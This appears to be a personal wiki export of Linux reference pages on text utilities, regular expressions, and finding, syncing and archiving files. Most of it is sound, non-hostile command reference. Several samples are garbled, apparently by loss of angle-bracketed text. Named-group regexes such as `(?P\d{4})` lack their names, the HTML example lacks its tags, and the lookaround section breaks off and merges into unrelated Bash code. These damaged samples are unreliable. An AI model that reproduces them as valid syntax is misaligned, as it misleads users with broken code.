-k2` sorts wrongly | Key runs from field 2 to end of line | `-k2,2`; add `n` for numeric | | `uniq -c` misses duplicates | Input not sorted; `uniq` compares adjacent lines only | `sort \| uniq -c` | | `sort` output order differs between hosts | Locale collation (`en_AU.UTF-8` versus `C`) | `LC_ALL=C sort` for byte order, and for speed | | `xargs: unterminated quote` or files with spaces split | Default whitespace and quote parsing | `find -print0 \| xargs -0`, or `xargs -d '\n'` | | Pipeline through `grep` or `awk` shows nothing until it ends | Block buffering when stdout is a pipe | `grep --line-buffered`, `awk '{...; fflush()}'`, `sed -u`, `stdbuf -oL` | | `grep -P` says `invalid UTF-8 byte sequence in input` | Binary or Latin-1 bytes in a UTF-8 locale | `LC_ALL=C grep -P` or `grep -aP` | | `grep` reports `Binary file matches` | A NUL byte in the file | `grep -a` to print lines, `-I` to skip binary files | | `tr 'a-z' 'A-Z'` mangles non-ASCII text | `tr` works on bytes, not multibyte characters | `sed 's/.*/\U&/'` (GNU) or `awk '{print toupper($0)}'` | | `awk` numeric comparison treats `10` less than `9` | Values compared as strings (one operand is a string constant) | Force numeric: `$1 + 0 > 9` | | `Argument list too long` from `grep` or `sed` with a glob | Too many filenames for one command | `find ... -exec grep ... {} +` or `xargs` | ## Further reading - [GNU grep manual](https://www.gnu.org/software/grep/manual/grep.html): options, regex syntax per engine, exit status and performance notes. - [GNU sed manual](https://www.gnu.org/software/sed/manual/sed.html): commands, addresses, hold space and the full list of GNU extensions. - [The GNU Awk User's Guide](https://www.gnu.org/software/gawk/manual/gawk.html): the language, built-in variables and functions, and gawk-only features such as `--csv` and `PROCINFO["sorted_in"]`. - [GNU coreutils manual](https://www.gnu.org/software/coreutils/manual/coreutils.html): `sort`, `uniq`, `cut`, `tr`, `paste`, `join`, `comm`, `numfmt` and the rest. - [GNU findutils: xargs](https://www.gnu.org/software/findutils/manual/html_node/find_html/Invoking-xargs.html): options, exit codes and interaction with `find -print0`. - [POSIX Shell and Utilities](https://pubs.opengroup.org/onlinepubs/9799919799/utilities/contents.html): what portable scripts may rely on for `grep`, `sed`, `awk` and the text utilities. --- # Regular expressions > Write patterns that match what you mean across grep, PCRE, Go, Python and JavaScript, avoid catastrophic backtracking and test them from the shell. Canonical: https://www.wiki.jodisand.me/regex/ Reviewed: 2026-09-24 Related: [Bash](https://www.wiki.jodisand.me/bash/index.md), [jq](https://www.wiki.jodisand.me/jq/index.md), [Python](https://www.wiki.jodisand.me/python/index.md), [Go](https://www.wiki.jodisand.me/go/index.md), [TypeScript](https://www.wiki.jodisand.me/typescript/index.md) ## Cheatsheet | Task | Pattern or command | | --- | --- | | Start and end of line | `^...$` | | Any character except newline | `.` | | One of, none of | `[abc]`, `[^abc]` | | Digit, word char, whitespace | `\d`, `\w`, `\s` (not in POSIX BRE/ERE; use `[0-9]`, `[[:alnum:]_]`, `[[:space:]]`) | | Zero or more, one or more, optional | `*`, `+`, `?` | | Exactly n, n to m, at least n | `{n}`, `{n,m}`, `{n,}` | | Shortest match | `.*?` (PCRE, RE2, Python, JS; not POSIX) | | Capture, non-capturing group | `(...)`, `(?:...)` | | Named group | `(?P...)` Python and Go; `(?...)` PCRE, JS, Python 3.x, Go 1.22+ | | Alternation | `cat\|dog` | | Word boundary | `\b` | | Literal dot, bracket, backslash | `\.`, `\[`, `\\` | | Case-insensitive inline | `(?i)` at the start | | Lookahead, lookbehind | `(?=...)`, `(?<=...)` (PCRE, Python, JS; not RE2) | | Backreference | `\1` (PCRE, Python; JS); `$1` in JS replacement strings | | Extended regex in grep | `grep -E 'a\|b'` | | PCRE in grep | `grep -P '\d+(?=ms)'` | | Only the matched part | `grep -oE '[0-9]+'` | | Regex in Bash | `[[ $s =~ ^[0-9]+$ ]]` then `${BASH_REMATCH[1]}` | | Regex in sed | `sed -E 's/(a+)b/\1/'` | | Explain a match in Python | `python3 -c 'import re; print(re.search(r"...", s).groupdict())'` | Syntax below follows PCRE2 10.4x, Go 1.26 `regexp`, Python 3.12+ `re`, ECMAScript 2024 and GNU grep 3.12 unless stated. References: [PCRE2 pattern syntax](https://www.pcre.org/current/doc/html/pcre2pattern.html), [RE2 syntax](https://github.com/google/re2/wiki/Syntax), [Python `re`](https://docs.python.org/3/library/re.html). ## Flavours The same text means different things to different engines. Know which one is reading your pattern before writing it. | Flavour | Where | Lookaround | Backreferences | Lazy quantifiers | `\d \w \s` | Guaranteed linear time | | --- | --- | --- | --- | --- | --- | --- | | POSIX BRE | `grep`, `sed`, `ed`, `expr` | No | `\1` | No | GNU extension only | Yes (GNU implementation) | | POSIX ERE | `grep -E`, `sed -E`, `awk`, Bash `=~` | No | Undefined in POSIX; GNU allows `\1` | No | GNU extension only | Yes (GNU); `awk` no backrefs | | PCRE2 | `grep -P`, `ripgrep -P`, PHP, Nginx, HAProxy | Yes | Yes | Yes | Yes | No | | RE2 | Go `regexp`, `ripgrep` default (Rust `regex`), Envoy, Prometheus, Google products | No | No | Yes | Yes | Yes | | Python `re` | Python | Yes | Yes | Yes | Yes | No | | ECMAScript | JavaScript, TypeScript, Deno | Yes | Yes | Yes | Yes | No | BRE treats `+`, `?`, `|`, `{`, `(` as literals and needs a backslash to give them their special meaning: `\(a\|b\)\{2,\}`. ERE flips that. Both lack `\d`, non-capturing groups, lazy quantifiers and lookaround, so a pattern with `(?:` fails outright under `grep -E` and `sed -E`. GNU grep, sed and awk accept `\w`, `\s`, `\b`, `\<` and `\>` as extensions; portable POSIX code uses `[[:alnum:]_]`, `[[:space:]]` and word-boundary tricks. RE2 (Go, Rust `regex`, ripgrep by default) refuses backreferences and lookaround at compile time in exchange for a guarantee that matching is linear in input length. That is the right trade for anything that matches untrusted input, such as log parsers, ingress rules and Prometheus relabelling. ```sh grep -E '(?:a|b)' x # grep: warning: ? at start of expression; then matches nothing useful grep -P '(?:a|b)' x # fine go run - <<'EOF' package main import "regexp" func main() { regexp.MustCompile(`(?=x)`) } // panics: invalid or unsupported Perl syntax: `(?=` EOF ``` Python `re` since 3.11 supports atomic groups `(?>...)` and possessive quantifiers `a*+`; earlier versions raise `re.error`. Go 1.22 accepts the `(?...)` group syntax alongside `(?P...)`. JavaScript added named groups and lookbehind in ES2018, the `s` flag in ES2018, `d` (match indices) in ES2022 and the `v` flag (set operations, string properties) in ES2024. ## Anchors and boundaries `^` and `$` match at the start and end of the subject, and additionally at line breaks only in multiline mode. `\A` and `\z` (`\Z` in Python, which also matches before a final newline in Perl and PCRE) mean the real start and end regardless of mode. Go and RE2 accept `\A` and `\z`; JavaScript has neither and relies on the absence of the `m` flag. `\b` matches between a `\w` character and a non-`\w` character or edge of string. It is ASCII-only in Go and in JavaScript without the `u` flag, and Unicode-aware in Python 3 `str` patterns and PCRE2 with `(*UCP)`. `\B` is its negation. GNU tools add `\<` and `\>` for start and end of word. `$` in PCRE and Python matches before a trailing newline as well as at the very end, so `^abc$` matches `"abc\n"`. Use `\z` when the trailing newline must be rejected. ```sh printf 'abc\n' | grep -cP '^abc$' # 1: grep strips the newline before matching python3 -c 'import re; print(bool(re.search(r"^abc$", "abc\n")))' # True python3 -c 'import re; print(bool(re.search(r"^abc\Z", "abc\n")))' # False ``` ## Character classes | Class | Meaning | | --- | --- | | `[a-z]`, `[^0-9]` | Range; negated range. `-` is literal first or last: `[-a-z]` | | `[]abc]` | Literal `]` must come first in POSIX and RE2; escape it as `\]` in PCRE, Python and JS | | `[[:alpha:]]`, `[[:digit:]]`, `[[:space:]]`, `[[:punct:]]` | POSIX classes; valid inside brackets only, in grep, sed, awk, PCRE, Go, Rust. Not in JS or Python | | `\d`, `\w`, `\s` | ASCII in Go and JS; Unicode in Python `str` patterns (`re.ASCII` restricts) and PCRE2 with `(*UCP)` | | `\D`, `\W`, `\S` | Negations | | `\p{L}`, `\p{Lu}`, `\p{Greek}` | Unicode property; `\P{...}` negates. Go, PCRE, Python 3rd-party `regex`, JS with `u` | | `\h`, `\v`, `\R` | PCRE2 horizontal space, vertical space, any line break | | `.` | Anything except `\n`; with `s` (dotall) also `\n`. In Go, `(?s)`. Never matches `\r\n` as one unit | Inside a bracket expression most metacharacters lose their meaning: `[.*+?]` is four literal characters. The exceptions are `]`, `\`, `^` at the start and `-` between two characters. In POSIX bracket expressions the backslash is a literal, so `[\d]` matches a backslash or a `d` under `grep -E`, and `[:` opens a class name, which is why `[^[:]` is an error and `[^ :[]` is not. ## Quantifiers and greediness Quantifiers apply to the element immediately before them. Greedy ones take as much as they can and back off one character at a time until the rest of the pattern matches. ```text Subject: link

text

<.*> matches the whole line: .* runs to the end, then backs off to the last > <.*?> matches , then , then

, then

: lazy, shortest first <[^>]*> same result, no backtracking: preferred ``` | Form | Greedy | Lazy | Possessive (PCRE2, Python 3.11+, Java) | | --- | --- | --- | --- | | Zero or more | `*` | `*?` | `*+` | | One or more | `+` | `+?` | `++` | | Optional | `?` | `??` | `?+` | | Range | `{2,5}` | `{2,5}?` | `{2,5}+` | Lazy does not mean "shortest overall match"; the engine still starts at the leftmost position and takes the first match it finds there. `a.*?c` on `abcabc` gives `abc`, not the shorter middle `c`. A negated class such as `[^>]*` is almost always clearer and faster than `.*?`, and it is the only option in POSIX tools, which have no lazy quantifiers at all. Possessive quantifiers and atomic groups `(?>...)` never give back what they consumed. `\d++x` fails immediately on `123` without trying `12x`, `1x`. They exist to prevent backtracking blow-ups, not to change what matches in the ordinary case. In Go `(?U)` swaps the meaning of greedy and lazy for the whole pattern. RE2 chooses the leftmost match and, among those, the one a backtracking engine would return (leftmost-first), except that POSIX mode via `regexp.CompilePOSIX` returns the leftmost-longest. ## Groups and backreferences Parentheses group and capture. Captures are numbered by the position of the opening bracket, left to right, starting at 1. Group 0 is the whole match. Use `(?:...)` when the group exists only for grouping, so capture numbers stay stable and matching is cheaper. ```python import re m = re.search(r"(?P\d{4})-(?P\d{2})-(?P\d{2})", "released 2026-09-24") m.group(0) # '2026-09-24' m.group("year") # '2026' m.groupdict() # {'year': '2026', 'month': '09', 'day': '24'} m.span("month") # (14, 16) re.sub(r"(?P\d{4})-(?P\d{2})", r"\g/\g", "2026-09") # '09/2026' ``` ```go re := regexp.MustCompile(`(?P[^@]+)@(?P.+)`) m := re.FindStringSubmatch("ops@example.com") // []string{"ops@example.com", "ops", "example.com"} m[re.SubexpIndex("host")] // "example.com" re.ReplaceAllString("ops@example.com", "${host}!${user}") // ${name} or $1; $1x means group named "1x", so write ${1}x ``` A repeated group keeps only its last iteration: `(\d,)+` on `1,2,3,` captures `3,`. Capture the whole run with `((?:\d,)+)` and split afterwards. A backreference `\1` matches the same text the group matched, not the same pattern. `(["'])(.*?)\1` matches a quoted string with either quote and rejects `"abc'`. Backreferences make matching NP-hard in the general case, which is why RE2 omits them. In replacement strings the reference syntax differs: `\1` in sed and Python, `$1` in JavaScript and Go, `${1}` when a digit follows. ```sh sed -E 's/([a-z]+)=([^ ]+)/\2=\1/' # swap key and value sed -E 's/(.)\1/<\1\1>/g' # mark doubled characters; GNU sed accepts \1 in ERE grep -E '\b([a-z]+) \1\b' file # doubled words such as "the the"; GNU extension ``` ## Lookaround Lookaround asserts without consuming. `(?=...)` positive lookahead, `(?!...)` negative lookahead, `(?<=...)` positive lookbehind, `(? ${BASH_REMATCH[2]}" # Bash: ERE, unquoted pattern ``` Bash `=~` uses the system ERE, so `\d` and `(?:` fail. Put the pattern in a variable to keep it readable and avoid quoting fights: `re='^([0-9]+)\.([0-9]+)$'; [[ $v =~ $re ]]`. ```sh # Python: show every group of every match python3 - <<'EOF' import re, sys pat = re.compile(r'(?P\S+) (?PERROR|WARN) (?P.*)') for line in sys.stdin: if m := pat.search(line): print(m.groupdict()) EOF # Python: verbose mode for a documented pattern python3 -c ' import re pat = re.compile(r""" ^(?P0|[1-9]\d*) # no leading zeros \.(?P0|[1-9]\d*) \.(?P0|[1-9]\d*)$ """, re.X) print(pat.match("1.2.3").groupdict())' # Go: check a pattern compiles under RE2 before shipping it in a config go run - <<'EOF' package main import ("fmt"; "os"; "regexp") func main() { if _, err := regexp.Compile(os.Args[1]); err != nil { fmt.Println(err); os.Exit(1) } } EOF # Node: named groups and match indices node -e 'console.log("2026-09-24".match(/(?\d{4})-(?\d{2})/d).groups, "\n", "a1b2".matchAll(/\d/g))' ``` `pcre2test` (package `pcre2-tools` on Fedora) reads a pattern and subjects from stdin and prints what matched, including partial matches and backtrack counts, which is the fastest way to see why PCRE disagrees with your expectation. ## Oneliners ```sh # Extract every IPv4 address in a file, deduplicated grep -oE '\b([0-9]{1,3}\.){3}[0-9]{1,3}\b' file | sort -u # Status codes from an access log, counted grep -oE '" [0-9]{3} ' access.log | sort | uniq -c | sort -rn # Requests slower than one second when the last field is milliseconds awk '$NF ~ /^[0-9]+$/ && $NF > 1000' access.log # Lines that are not comments or blank grep -Ev '^\s*(#|$)' config.ini # Value of a key in a key=value file, stripping quotes sed -nE 's/^listen_port\s*=\s*"?([^"]*)"?\s*$/\1/p' app.conf # Rename *.jpeg to *.jpg (GNU sed for the transform; prints the mv commands, pipe to sh to run them) for f in *.jpeg; do printf 'mv -- %q %q\n' "$f" "${f%.jpeg}.jpg"; done # Replace in place across a tree, only in files that contain the pattern grep -rlE 'old\.example\.com' src | xargs -r sed -i -E 's/old\.example\.com/new.example.com/g' # Same with ripgrep, previewing first rg -l 'old\.example\.com' src; rg 'old\.example\.com' -r 'new.example.com' src # -r prints replacements; it does not edit # Pull the version out of a tool's --version output kubectl version --client 2>/dev/null | grep -oE 'v[0-9]+\.[0-9]+\.[0-9]+' | head -1 # Validate that a variable is a semver before using it [[ $ver =~ ^(0|[1-9][0-9]*)\.(0|[1-9][0-9]*)\.(0|[1-9][0-9]*)$ ]] || { echo "bad version: $ver" >&2; exit 2; } # Split a line on a regex delimiter in Python python3 -c 'import re,sys; print(re.split(r"[,;]\s*", sys.stdin.read().strip()))' <<< 'a, b;c' # Find files whose names match a regex (find uses Emacs syntax by default; -regextype changes it) find . -regextype posix-extended -regex '.*/[0-9]{8}-.*\.log' -print # Match across lines with grep -z (NUL-separated records, so the whole file is one record) grep -Pzo '(?s)BEGIN.*?END' file | tr '\0' '\n' # Case-insensitive match on a JSON field with jq jq -r 'select(.msg | test("timeout"; "i")) | .ts' app.jsonl # Email-like tokens from a mail spool, lowercased grep -oiE '[a-z0-9._%+-]+@[a-z0-9.-]+\.[a-z]{2,}' mbox | tr 'A-Z' 'a-z' | sort -u # Words repeated twice in a row, with line numbers grep -nE '\b([a-z]+) \1\b' README.md # Strip ANSI colour codes from captured output sed -E 's/\x1b\[[0-9;]*[A-Za-z]//g' run.log # Escape a literal string for use inside a PCRE python3 -c 'import re,sys; print(re.escape(sys.argv[1]))' 'price is $5 (approx)' # Lines longer than 120 characters grep -nE '^.{121,}' file ``` ## Scripts Validate every value in a CSV column against a pattern and report the offending rows. ```sh #!/usr/bin/env bash # usage: check-column.sh set -euo pipefail file=${1:?file} col=${2:?column} re=${3:?regex} awk -F, -v col="$col" -v re="$re" ' NR == 1 { next } # skip the header $col !~ re { bad++; printf "line %d: %s\n", NR, $col } END { printf "%d bad of %d rows\n", bad, NR - 1 > "/dev/stderr"; exit bad > 0 } ' "$file" ``` Compile a set of patterns under Go's RE2 syntax so a config file rejected by Prometheus, Envoy or a Go service is caught in CI rather than at reload. ```go // go run check_re2.go patterns.txt package main import ( "bufio" "fmt" "os" "regexp" ) func main() { f, err := os.Open(os.Args[1]) if err != nil { fmt.Fprintln(os.Stderr, err) os.Exit(2) } defer f.Close() bad := 0 sc := bufio.NewScanner(f) for n := 1; sc.Scan(); n++ { if _, err := regexp.Compile(sc.Text()); err != nil { bad++ fmt.Printf("line %d: %v\n", n, err) } } if bad > 0 { os.Exit(1) } } ``` Benchmark a pattern against a corpus to catch backtracking before it reaches production. Prints the slowest lines. ```python #!/usr/bin/env python3 """usage: regex-bench.py PATTERN FILE -- times each line; lists the ten slowest.""" import re import sys import time pat = re.compile(sys.argv[1]) timings = [] with open(sys.argv[2], encoding="utf-8", errors="replace") as fh: for n, line in enumerate(fh, 1): t0 = time.perf_counter() pat.search(line) timings.append((time.perf_counter() - t0, n, line.rstrip()[:80])) timings.sort(reverse=True) total = sum(t for t, _, _ in timings) print(f"{len(timings)} lines, {total*1000:.1f} ms total, {timings[0][0]*1e6:.0f} us worst") for t, n, line in timings[:10]: print(f"{t*1e6:8.0f} us line {n}: {line}") ``` ## Troubleshooting | Symptom | Cause | Fix | | --- | --- | --- | | `grep: warning: ? at start of expression`, or `Unmatched ( or \(`, or silently no match | PCRE syntax (`(?:`, `\d`, lookaround) given to `grep -E` or `sed -E` | Use `grep -P`, or rewrite with capturing groups and `[0-9]` | | `(a\|b)` matches literally under `grep` | BRE: `(`, `\|`, `+`, `?` are literals | `grep -E`, or escape: `\(a\|b\)` | | Go: `invalid or unsupported Perl syntax` | Backreference or lookaround under RE2 | Rewrite without them, or validate in a second step in code | | Python: `re.error: look-behind requires fixed-width pattern` | Variable-length lookbehind | Bound it (`{1,10}`), use alternation of fixed widths, or match the prefix and take a group | | Match hangs or CPU pins at 100% | Nested quantifiers backtracking | Rewrite with negated classes or possessive quantifiers; test with the benchmark script; prefer RE2 for untrusted input | | `.` does not match across lines | Dot excludes newline by default | `(?s)` or `re.S`; in grep use `-z` so the input is one record | | `^` matches only the first line of a multi-line string | Multiline mode off | `(?m)` or `re.M`; `grep` is already per line | | `\b` behaves oddly around accented letters | ASCII word definition | Python `str` patterns are Unicode by default; PCRE needs `(*UCP)`; Go has ASCII `\b` only | | `[[:digit:]]` fails in Python or JavaScript | POSIX classes unsupported there | `\d` or `[0-9]` | | Bash `[[ $s =~ "$re" ]]` never matches | Quoting the right side makes it a literal string | Store the pattern in a variable and expand it unquoted: `[[ $s =~ $re ]]` | | `sed` prints `\1` literally | Backreference in a BRE replacement with an unescaped group | `sed -E 's/(x)/\1/'` or `sed 's/\(x\)/\1/'` | | Capture group returns only the last item | Quantified group keeps the final iteration | Capture the whole repetition, then split | | `$` accepts a value with a trailing newline | `$` matches before a final `\n` in PCRE and Python | Use `\z` (PCRE, Go) or `\Z` (Python) | | JavaScript: `Invalid regular expression: Lone quantifier brackets` | `[^]]` under the `u` or `v` flag | Escape it: `[^\]]` | | Case-insensitive match misses `ß`, `İ`, `K` | Simple case folding only | Normalise input first, or compare with a locale-aware collation in code | ## Further reading - [PCRE2 pattern syntax](https://www.pcre.org/current/doc/html/pcre2pattern.html) - [RE2 syntax](https://github.com/google/re2/wiki/Syntax), the grammar for Go `regexp` and ripgrep - [Go `regexp` package](https://pkg.go.dev/regexp) and [`regexp/syntax`](https://pkg.go.dev/regexp/syntax) - [Python `re` module](https://docs.python.org/3/library/re.html) - [MDN regular expressions reference](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_expressions) - [GNU grep manual, regular expressions](https://www.gnu.org/software/grep/manual/html_node/Regular-Expressions.html) --- # Files and directories > Find, copy, sync, archive and watch files on Linux with find, fd, rsync, tar, zstd, du, lsof and inotifywait, and handle permissions and hostile filenames safely. Canonical: https://www.wiki.jodisand.me/files/ Reviewed: 2026-09-24 Related: [Bash](https://www.wiki.jodisand.me/bash/index.md), [Disks and storage](https://www.wiki.jodisand.me/storage/index.md), [SSH](https://www.wiki.jodisand.me/ssh/index.md), [SCP](https://www.wiki.jodisand.me/scp/index.md), [systemd](https://www.wiki.jodisand.me/systemd/index.md), [Regular expressions](https://www.wiki.jodisand.me/regex/index.md) ## Cheatsheet | Task | Command | | --- | --- | | Files by name, case-insensitive | `find . -iname '*.log'` or `fd -i '\.log$'` | | Modified in the last day | `find . -mtime -1` or `fd --changed-within 1d` | | Larger than 100 MiB | `find . -size +100M` or `fd -S +100M` | | Delete matches safely | `find . -name '*.tmp' -type f -delete` | | Run a command per file | `find . -name '*.png' -exec optipng {} \;` or `fd -e png -x optipng` | | Run once with all files | `find . -name '*.py' -exec ruff check {} +` or `fd -e py -X ruff check` | | NUL-safe pipeline | `find . -print0 \| xargs -0 cmd` or `fd -0 \| xargs -0 cmd` | | Mirror a directory | `rsync -a --delete src/ dst/` | | Preview a sync | `rsync -ain --delete src/ dst/` | | Copy over SSH with progress | `rsync -a --info=progress2 src/ host.example.com:/dst/` | | Archive with zstd | `tar --zstd -cf backup.tar.zst dir/` | | Extract into a directory | `tar -xf backup.tar.zst -C /restore/` | | What is using space here | `du -xh --max-depth=1 . \| sort -h` or `ncdu -x .` | | Free space and inodes | `df -hT`, `df -i` | | Who has this file open | `lsof /var/log/app.log` or `fuser -v /var/log/app.log` | | Deleted files still held open | `lsof -nP +L1` | | Watch for changes | `inotifywait -m -r -e close_write,moved_to dir/` | | Permissions as octal | `stat -c '%a %U:%G %n' file` | | Make a directory tree | `mkdir -p a/b/c` | | Resolve a symlink chain | `readlink -f path` | | Hard link count and inode | `ls -li file` | | Delete a file named `-rf` | `rm -- -rf` or `rm ./-rf` | | Safe temp file | `t=$(mktemp)` | Commands assume GNU findutils 4.10, coreutils 9.x, rsync 3.2+, fd 10 and tar 1.35 on a Linux host. macOS ships BSD variants of `find`, `du`, `stat` and `tar` whose flags differ. References: [GNU findutils](https://www.gnu.org/software/findutils/manual/html_mono/find.html), [rsync](https://download.samba.org/pub/rsync/rsync.1), [GNU tar](https://www.gnu.org/software/tar/manual/tar.html). ## The model: inodes, names and links A file is an inode: metadata plus data blocks, identified by a number unique within its filesystem. A directory is a table mapping names to inode numbers. `rm` removes a name and decrements the inode's link count; the data is freed only when the count reaches zero and no process holds the file open. That single fact explains hard links, why `df` disagrees with `du` after deleting a log that a daemon still writes, and why `mv` within a filesystem is instant while `mv` across filesystems is a copy followed by a delete. ```sh ls -li # inode number, link count, then the usual columns stat file # inode, links, permissions, owner, three timestamps, filesystem block usage stat -c '%i %h %s %y %n' file # inode, link count, size, mtime, name df --output=source,fstype,size,used,avail,pcent,target /var ``` Three timestamps: `mtime` (content changed), `ctime` (inode changed: content, permissions, owner or link count) and `atime` (read, updated lazily under `relatime`). `touch -d` and `cp -p` set `mtime`; nothing but the clock sets `ctime`, which makes it useful for spotting tampering. ## find `find` walks a tree and evaluates an expression against each entry. The expression is a sequence of tests and actions joined by implicit `-a` (and); `-o` is or, `!` negates and `\( \)` groups. Evaluation is left to right with short-circuiting, so order matters: `-prune` must come before what it protects, and `-delete` or `-exec` must come last. ```sh find /var/log -type f -name '*.log' -mtime +30 # regular files, name glob, mtime older than 30 days find . -type d -name node_modules -prune -o -type f -print # skip node_modules trees, print everything else find / -xdev -size +1G -printf '%s\t%p\n' 2>/dev/null | sort -n # stay on one filesystem; size and path find . -newer reference.txt # mtime more recent than the reference file find . -newermt '2026-09-01' ! -newermt '2026-09-08' # a date window (GNU) find . -mmin -60 # modified in the last 60 minutes find . -type f -empty -delete # empty files; -delete implies -depth find . -maxdepth 1 -type l ! -exec test -e {} \; -print # dangling symlinks find . -perm -4000 -type f # setuid files (at least these bits) find . -perm /o+w ! -type l # world-writable (any of these bits), ignoring symlinks find . -user nobody -o -nouser # owned by nobody, or by a deleted uid find . -samefile file.txt # every hard link to that inode find . -regextype posix-extended -regex '.*/[0-9]{8}\.log' # regex on the full path ``` `-mtime +30` means more than 30 whole days ago; `-mtime 30` means exactly 30 to 31 days ago; `-mtime -30` within the last 30 days. Use `-mmin` for minute resolution and `-daystart` to count from midnight. `-size +100M` rounds up to the unit; `-size +100M` excludes a 100.5 MiB file only when the unit is `k` and it is written as `-size +102400k`. Actions: ```sh find . -name '*.orig' -exec rm -v {} \; # one rm per file; \; ends the command find . -name '*.py' -exec ruff check {} + # as many files per invocation as fit in ARG_MAX find . -name '*.log' -execdir gzip {} \; # run in the file's directory with a ./name argument find . -name core -ok rm {} \; # prompt per file find . -type f -print0 | xargs -0 -P4 sha256sum # NUL-delimited names survive spaces and newlines; four parallel jobs find . -type f -printf '%TY-%Tm-%Td %TH:%TM %10s %p\n' | sort # mtime, size, path find . -name '*.tmp' -delete # no confirmation; -delete forces -depth and refuses to run with ordering tests after it ``` > [!WARNING] `-delete` and `-exec rm` run whatever the tests select > Run the same expression with `-print` first. `find . -name '*.tmp' -o -name '*.bak' -delete` deletes only `*.bak`, because `-delete` binds to the second test; group with `\( ... \)`. Filenames may contain newlines, so the only safe way to hand `find` results to another program is `-print0` with `xargs -0`, `-exec`, or `while IFS= read -r -d '' f`. Never `for f in $(find ...)`. ## fd `fd` searches by regex (or glob with `-g`) on the basename by default, ignores hidden files and anything matched by `.gitignore`, colours output, and runs in parallel. It is the everyday tool; `find` is for expressions `fd` cannot express and for hosts where it is not installed. ```sh fd pattern # regex on the file name, current directory, recursive fd -e log -e txt # by extension fd -t f -t l # type: f file, d directory, l symlink, x executable, e empty fd -H -I pattern # include hidden (-H) and ignored (-I) entries fd -g '*.tar.*' # glob instead of regex fd -p 'src/.*/test_' # match against the full path fd -d 2 pattern # max depth fd --changed-within 2h # or 1d, 2weeks; --changed-before for the other side fd -S +100M -S -1G # size between 100 MiB and 1 GiB fd -E node_modules -E '*.min.js' # exclude patterns fd -e jpg -x convert {} {.}.webp # one command per file; {} path, {.} without extension, {/} basename, {//} parent fd -e py -X ruff check # one command with all results as arguments fd -0 -e log | xargs -0 gzip # NUL-separated for pipelines fd -o root -t f /etc # owned by root; -o :group and -o user:group also work fd pattern --exec-batch rm -v # long form of -X ``` `-x` runs jobs in parallel (`-j` limits it), so commands that write to the same output need `-X` or `-j1`. Use `--no-ignore-vcs` when a `.gitignore` hides what you are looking for and `-u` (unrestricted, twice for everything) when in doubt. ## rsync rsync sends only the parts of files that differ, decided per file by size and mtime (`-c` compares checksums instead, reading every byte on both sides). It works locally, over SSH, or against an rsync daemon. Everything in the flags below is about which metadata to keep and what to do with files that exist only on the destination. ```sh rsync -a src/ dst/ # archive: -rlptgoD (recursive, links, perms, times, group, owner, devices) rsync -av --info=progress2 src/ dst/ # -v lists files; progress2 shows a single whole-transfer progress line rsync -aHAX --numeric-ids src/ dst/ # also hard links, ACLs, xattrs; keep uid/gid numbers, for system backups rsync -ain --delete src/ dst/ # -n dry run, -i itemise what would change; always do this before --delete rsync -a --delete --delete-excluded --exclude='*.tmp' --exclude='/cache/' src/ dst/ rsync -a --exclude-from=exclude.txt --files-from=list.txt / dst/ # explicit file list; paths relative to the source rsync -az -e 'ssh -p 2222' src/ user@host.example.com:/srv/dst/ # over SSH with compression (-z) rsync -a --rsync-path='sudo rsync' src/ host.example.com:/etc/dst/ # elevate on the remote side rsync -aP --bwlimit=5m src/ host.example.com:/dst/ # -P = --partial --progress; 5 MiB/s cap rsync -a --partial-dir=.rsync-partial src/ host.example.com:/dst/ # keep partial files out of the way until complete rsync -a --remove-source-files src/ dst/ # move semantics for files; empty source directories remain rsync -a --link-dest=../2026-09-23 src/ dst/2026-09-24/ # unchanged files become hard links to yesterday's copy rsync -a --mkpath src/ dst/new/deep/path/ # create missing destination directories (3.2.3+) rsync -a --chown=app:app src/ dst/ # remap ownership on the receiver ``` The trailing slash on the source decides whether the directory itself or its contents are copied. `rsync -a src dst/` creates `dst/src/...`; `rsync -a src/ dst/` creates `dst/...`. The trailing slash on the destination changes nothing. Think of `src/` as "the contents of src". `--delete` removes files from the destination that are absent from the source, after considering excludes. With `--exclude` alone, excluded files already on the destination stay; `--delete-excluded` removes them too. Deletion happens during the transfer by default; `--delete-after` waits until every file has arrived, which is safer when the destination is served live. A dry run with `-n` combined with `-i` shows each planned action as a string such as `>f.st......` (file transferred because size and time differ) or `*deleting`. > [!WARNING] `--delete` with a wrong path empties the destination > `rsync -a --delete empty-or-wrong-dir/ /srv/data/` deletes everything under `/srv/data/`. Run with `-n` first, and prefer variables that fail loudly: `"${SRC:?}/"`. Interrupted transfers: `--partial` keeps the received part of a file so the next run resumes instead of restarting; `--append-verify` extends a file that was only partly written, and is wrong for files that change in the middle. `--inplace` writes directly to the destination file instead of a temporary file plus rename, which suits large files on a full disk or block devices but leaves a corrupt destination if interrupted. Version 3.2.4 changed remote argument handling (`--old-args` restores the old behaviour when a wrapper depends on shell expansion of remote paths); use `-s` to send arguments through the protocol untouched. ## Archives and compression `tar` bundles a tree into one stream with permissions, ownership and timestamps; compression is a separate filter. Modern GNU tar detects the compressor on extraction from the file content, so `-xf` works for `.tar.gz`, `.tar.xz` and `.tar.zst` alike. ```sh tar -cf site.tar site/ # no compression tar -czf site.tar.gz site/ # gzip: fast, everywhere tar -cJf site.tar.xz site/ # xz: smallest, slowest tar --zstd -cf site.tar.zst site/ # zstd: near-gzip ratio at several times the speed tar -I 'zstd -T0 -19' -cf site.tar.zst site/ # explicit compressor with options: all cores, level 19 tar -tf site.tar.zst | head # list tar -xf site.tar.zst -C /restore/ # extract into a directory that must exist tar -xf site.tar.zst --strip-components=1 -C /srv/site/ # drop the leading directory tar -xf site.tar.zst 'site/config/*' # extract a subset tar -cf - dir/ | ssh host.example.com 'tar -xf - -C /dst/' # stream over SSH; see ssh for options tar --one-file-system --exclude='./proc' --exclude='./sys' -cf - / | zstd -T0 > root.tar.zst # system snapshot tar -czf - dir/ | split -b 2G - part.tar.gz. # split into 2 GiB pieces; cat part.tar.gz.* | tar -xzf - ``` Archive with relative paths (`tar -C /var/www -cf site.tar site`) so extraction lands where the operator chooses. GNU tar strips a leading `/` by default and warns; other tars do not. Verify with `-t` before extracting anything from an untrusted source, and extract as an unprivileged user; GNU tar refuses `..` components unless `-P` is given. ```sh zstd -T0 -3 big.log # writes big.log.zst, keeps the original; -19 for archival, --long for large similar files zstd -d big.log.zst # decompress zstdcat big.log.zst | grep ERROR # stream without extracting zstd --rm -T0 *.log # compress and delete originals gzip -k file; xz -T0 file # keep original (-k); xz threads (-T0) zip -r site.zip site/ -x '*.git*' # zip for Windows recipients; -e prompts for a password (weak legacy encryption) unzip -l site.zip; unzip -o site.zip -d /restore/ # 